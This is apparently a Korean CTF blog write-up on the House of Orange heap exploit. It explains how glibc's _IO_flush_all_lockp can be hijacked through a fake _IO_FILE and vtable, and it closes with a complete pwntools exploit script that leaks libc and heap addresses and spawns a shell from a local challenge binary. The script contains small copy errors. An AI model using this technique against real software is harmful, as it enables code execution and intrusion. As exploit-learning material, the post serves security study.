728x90

내신공부를 하다가 잊어버린 힙트릭.. YISF 대회 당시에 공부해서 익스했던 고통이 있어서 다시 공부하고 해당 문제를 풀어보았다. 역시 재미있다!! _IO_FILE_plus 구조체에 있는 _IO_FILE과 _IO_jump_t 를 이용해야한다 이때 _IO_list_all은 _IO_FILE_plus 구조체에 대한 구조체 포인터이다.

 

_int_malloc에서 메모리 손상을 탐지하면 

 

_int_malloc() → malloc_printerr() → __libc_message → __FI_abort() → _IO_flush_all_lockp()

 

다음과 같은 순서로 함수를 호출하게 되는데 이때 이 _IO_flush_all_lockp()에서 발생하는 문제를 이용해 익스를 한다. 아래는  _IO_flush_all_lockp()의 코드이다

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

 

아래 보이는 코드에서 if문을 참으로 만들어 _IO_OVERFLOW(fp)를 실행시킬 수 있다. 이때 이 _IO_OVERFLOW는 _IO_jump_t에서 값을 넣을 수 있는데 system이나 one_shot 가젯을 _IO_OVERFLOW에 넣어 쉘을 얻을 수 있다!

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

 

((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 요놈을 참으로 만들어주는게 가장 쉽다 :) (YISF땐 아랫놈으로 익스해야함..)

 


익스 할때 참고하면서 fake vtable을 작성하자.

 

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

fake IO_file을 만들어주고 아래 vtable의 주소를 넣어주면 되는데 0xd8만큼 떨어져있다. ljust로 쓱싹

 

@ _IO_FILE @

struct _IO_FILE
{
  int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;        /* Current read pointer */
  char *_IO_read_end;        /* End of get area. */
  char *_IO_read_base;        /* Start of putback+get area. */
  char *_IO_write_base;        /* Start of put area. */
  char *_IO_write_ptr;        /* Current put pointer. */
  char *_IO_write_end;        /* End of put area. */
  char *_IO_buf_base;        /* Start of reserve area. */
  char *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

 

@ _IO_jump_t @

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

 

이걸 잘 참고하면서 앞전의 if를 실행시키면 된다!! _IO_jump_t에서 24바이트 만큼 떨어진 곳에 값을 쓰면 _IO_overflow에 값을 쓸 수 있다.

 


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
 
= process("./house_of_orange")
elf = ELF("./house_of_orange")
libc = ELF("./libc.so.6")
 
def build(name_size,name,price):
    s.sendlineafter(":","1")
    s.sendlineafter(":",str(name_size))
    s.sendafter("Name :",name)
    s.sendlineafter(":",str(price))
    s.sendlineafter(":","1")
 
def see():
    s.sendlineafter(" : ","2")
 
 
def upgrade(name_size,name,price):
    s.sendlineafter(" : ","3")
        s.sendlineafter(":",str(name_size))
        s.sendafter(":",name)
        s.sendlineafter(":",str(price))
        s.sendlineafter(":","1")
 
 
def quit():
    s.sendlineafter(" : ","4")
 
maxs = 4096
 
gdb.attach(s)
 
build(128,"A"*8,128)
upgrade(maxs,"a"*(8*17)+p64(0x21)+p64(0)*3+p64(0xf31),128)
 
 
build(4000,"B"*128,128)
build(1024,"C"*8,128)
 
 
see()
 
s.recvuntil("C"*8)
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - 0x3c5188
system = libc_base + libc.symbols['system']
io_list_all = libc_base + libc.symbols['_IO_list_all']
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "io_list_all : " + hex(io_list_all)
 
 
upgrade(maxs,"C"*16,128)
 
see()
 
s.recvuntil("C"*16)
heap = u64(s.recv(6)+"\x00\x00")
print "heap : " + hex(heap)
heap_base = heap - 0x130
print "heap_base : " + hex(heap_base)
 
io_file = "/bin/sh\x00"
io_file += p64(0x61)
io_file += p64(0)
io_file += p64(io_list_all - 0x10)
io_file += p64(0)
io_file += p64(1)
io_file = io_file.ljust(0xd8,"\x00")
io_file += p64(heap_base+0x640)
 
io_jump = p64(0)*3
io_jump += p64(system)
 
pay = "A"*0x420
pay += io_file
pay += io_jump
 
upgrade(maxs,pay,128)
 
s.sendlineafter(":","1")
 
s.interactive()
 
cs

'PWN > CTF' 카테고리의 다른 글

[RedpwnCTF_2019] Dennis Says  (0) 2019.08.17
[RCTF 2018] babyheap  (0) 2019.08.14
[WITHCON 2016] normal malloc  (0) 2019.02.26
[WITHCON 2016] malloc  (0) 2019.02.26
[Hackingcamp 19] ucanfind  (0) 2019.02.20